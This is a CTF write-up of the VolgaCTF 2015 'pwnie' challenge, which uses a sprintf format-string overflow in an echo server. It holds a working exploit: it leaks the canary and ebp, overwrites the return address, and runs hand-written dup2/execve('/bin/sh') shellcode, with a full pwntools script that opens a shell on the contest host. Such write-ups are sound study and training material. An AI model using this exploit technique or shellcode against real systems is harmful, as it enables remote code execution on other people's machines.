Category: Pwn
Points: 250
Just another pwn task. Break in!
nc pwnie.2015.volgactf.ru 7777
I solve the challenge after the end of the CTF, because I think this is a great challenge for practicing format string and sprintf BOF vulnerability. Special thanks to Lays for putting the exploit on the trello and let me have time to study the challenge.
We got a 32 bit ELF, with stack guard enabled, but no NX.
It’s a simple echo server. Whenever someone connect to it, it fork a process to handle the request. First it ask us to input some string, and then it echo the string back to us.
Launch it with IDA Pro and take a look at it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl start_echo(int fd)
{
int result; // eax@4
int v2; // esi@4
int i; // [sp+18h] [bp-A0h]@1
int v4; // [sp+1Ch] [bp-9Ch]@1
int v5; // [sp+20h] [bp-98h]@1
char v6; // [sp+24h] [bp-94h]@1
int v7; // [sp+9Ch] [bp-1Ch]@1
v7 = *MK_FP(__GS__, 20);
send_to_user(fd, "This is a simple echo server. Type exit to quit.\n");
v4 = "ohcE";
v5 = " :";
memset(&v6, 0, 120u);
for ( i = 1; i; i = echoing((char *)&v4, fd) )
;
result = 0;
v2 = *MK_FP(__GS__, 20) ^ v7;
return result;
}
So, the start_echo()
will call echoing(v4, fd)
, which v4 is a pointer to char
Let’s take a look at the echoing()
function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __cdecl echoing(char *a1, int fd)
{
int result; // eax@2
int v3; // ecx@10
int v4; // [sp+20h] [bp-58h]@3
char *i; // [sp+24h] [bp-54h]@3
char user_input[64]; // [sp+2Ch] [bp-4Ch]@1
int v7; // [sp+6Ch] [bp-Ch]@1
v7 = *MK_FP(__GS__, 20);
send_to_user(fd, "Type string to echo back: ");
memset(user_input, 0, 64u);
if ( recv(fd, user_input, 63u, 0) )
{
v4 = strcmp(user_input, "exit\n");
for ( i = user_input; &user_input[strlen(user_input)] > i; ++i )
{
if ( *i == 'n' )
{
*(_DWORD *)a1 = "ts I";
*((_DWORD *)a1 + 1) = " pir";
*((_DWORD *)a1 + 2) = "siht";
*((_DWORD *)a1 + 3) = "fwa ";
*((_DWORD *)a1 + 4) = "s lu";
*((_DWORD *)a1 + 5) = "obmy";
*((_WORD *)a1 + 12) = "\nl";
a1[26] = 0;
v4 = 0;
goto LABEL_9;
}
}
sprintf(a1 + 6, user_input);
LABEL_9:
send_to_user(fd, a1);
result = v4;
}
else
{
fwrite("Failed to read socket\n", 1u, 0x16u, stderr);
result = -1;
}
v3 = *MK_FP(__GS__, 20) ^ v7;
return result;
}
So we found that there’s a format string vulnerability at the line
sprintf(a1 + 6, user_input);
But notice that the program will filter out the character ‘n’, which means we can’t use %n to write the memory.
Fortunately, the vulnerability’s happened in sprintf
, not printf
. sprintf(a1 + 6, user_input)
means the user_input
will be output to buffer a1
(the one that start_echo
pass into echoing
).
This behavior can be view as the program copy user_input
’s content to a1
. If we input string "%45c"
, the program will output 45 characters to a1
, which is, copy 45 characters to a1
.
So if we construct the payload string carefully, we can overwrite the return address in start_echo()
. First we’ll have to leak the stack canary. After checking the memory by using gdb, we can found that the canary is at %26$p
. We also need to leak start_echo()
’s ebp
too, since we need to calculate the address of a1
( which is on the stack in function start_echo()
). We found that ebp
is at %29$p
.
So by leaking canary & start_echo()
’s ebp , we can construct our payload now. But there’re some details we need to be aware of:
sprintf
will stop at null byte. That is, whensprintf
encounter a null byte, it will write the null byte to the buffer and stop.- So, since the first byte of the canary is always null byte, we’ll have to modify the canary first, so
sprintf
will continue writing bytes to buffer and let us overwrite the return address. - After we overwrite the return address, we’ll have to change the canary back to its correct value, by sending another payload string to
sprintf
. - Don’t forget to write the
fd
too, or else it will be overwritten to null byte (thanks tosprintf
apparently )
Here’s the payload string:
1
2
3
4
5
6
7
8
9
10
11
12
canary |= 0x41 # remove the null byte first
payload = "%122c" # padding to canary
payload += p32(canary)
payload += "A"*28 # padding to return address
payload += p32(buf) # return address set to buffer's address (=shellcode)
payload += p32(4) # fd
# send the first payload
send(payload)
payload = "%122c" # add the null byte back into the canary
# send the second payload
send(payload)
So now we overwrite the return address of function start_echo()
and let it jump to the buffer a1
, which we can put our shellcode on it. But again, there’re some limitations:
- It’s a fork server, so we can’t simply just execute
execve("/bin/sh")
. The problem cause by file descriptor will make us fail to execute our own command after we get the shell. - So, we’ll have to construct a shellcode, which execute
dup2(4, 0)
,dup2(4, 1)
anddup2(4, 2)
before executingexecve("/bin/sh")
. - Don’t forget the program will filter out the character ‘n’, so we’ll have to do something with it.
For problem 3, my solution was construct a shellcode without having character ‘n’. Or, you can just overwrite the return address to user_input
, since the program doesn’t modify the input, the original input string will still remain on the buffer.
Anyway, I choose to construct a shellcode without having character ‘n’. Typically, during the shellcode construction for executing execve("/bin/sh")
, we’ll have the following assembly:
1
2
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
Which has ‘n’ in it. However, we can simply use xor
to eliminate the character ‘n’. Since 0x6e69622f = 0x91969dd0 ^ 0xffffffff
, we can modify the assembly into:
1
2
3
4
xor ecx, ecx
dec ecx ; ecx = 0xffffffff
xor ecx, 0x91969dd0 ; ecx = 0x6e69622f
push ecx
So here’s the entire assembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
BITS 32
global _start
_start: ; this is where code starts getting exec'ed
xor ebx, ebx
xor eax, eax
xor ecx, ecx
xor edx, edx
mov bl, 0x4
d:
mov al, 0x3f ; dup2 syscall number
int 0x80 ; dup2( ebx(=4), ecx(=0, 1, 2) )
inc ecx
cmp ecx, 0x3
jne d
; execve(/bin/sh)
xor eax, eax
mov al, 0xb
xor ecx, ecx
push ecx
push 0x68732f2f
dec ecx ; ecx = 0xffffffff
xor ecx, 0x91969dd0 ; 0xfffffff ^ 0x91969dd0 = 0x6e69622f
push ecx
mov ebx, esp
xor ecx, ecx
int 0x80
Finally, we have the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import time
#HOST="localhost"
HOST="pwnie.2015.volgactf.ru"
PORT="7777"
# dup2(4, 0) + dup2(4, 1) + dup2(4, 2) + execve('/bin/sh'), 46 byte
shellcode = [0x31, 0xdb, 0x31, 0xc0, 0x31, 0xc9, 0x31, 0xd2, 0xb3, 0x04, 0xb0, 0x3f, 0xcd, 0x80, 0x41, 0x83, 0xf9, 0x03, 0x75, 0xf6, 0x31, 0xc0, 0xb0, 0x0b, 0x31, 0xc9, 0x51, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x49, 0x81, 0xf1, 0xd0, 0x9d, 0x96, 0x91, 0x51, 0x89, 0xe3, 0x31, 0xc9, 0xcd, 0x80]
# insert 0x90 in the left, make it length = 63
shellcode = ''.join(chr(c) for c in shellcode).rjust(63, "\x90")
r = remote(HOST, PORT)
r.recvuntil("echo back:")
log.info("leaking canary & ebp...")
r.send(".%26$p.%29$p")
resp = r.recv(1024)
resp = r.recv(1024)
canary = int(resp.split(".")[1], 16)
ebp = int(resp.split(".")[2], 16)
buf = ebp - 0x9c + 6 + 8
log.success("canary: " + hex(canary))
log.success("ebp: " + hex(ebp))
log.success("buf: " + hex(buf))
r.recvuntil("echo back: ")
canary |= 0x41 # remove the null byte first
payload = "%122c" # padding to canary
payload += p32(canary)
payload += "A"*28 # padding to return address
payload += p32(buf) # return address set to buffer's address (=shellcode)
payload += p32(4) # fd
log.info("sending payload...")
r.send(payload)
r.recvuntil("echo back: ")
payload = "%122c" # add the null byte back into the canary
log.info("correcting canary...")
r.send(payload)
r.recvuntil("echo back: ")
log.info("sending shellcode...")
r.send(shellcode)
r.recvuntil("echo back: ")
r.send("exit\n")
r.interactive()
Great challenge, learn a lot from it!
Comments powered by Disqus.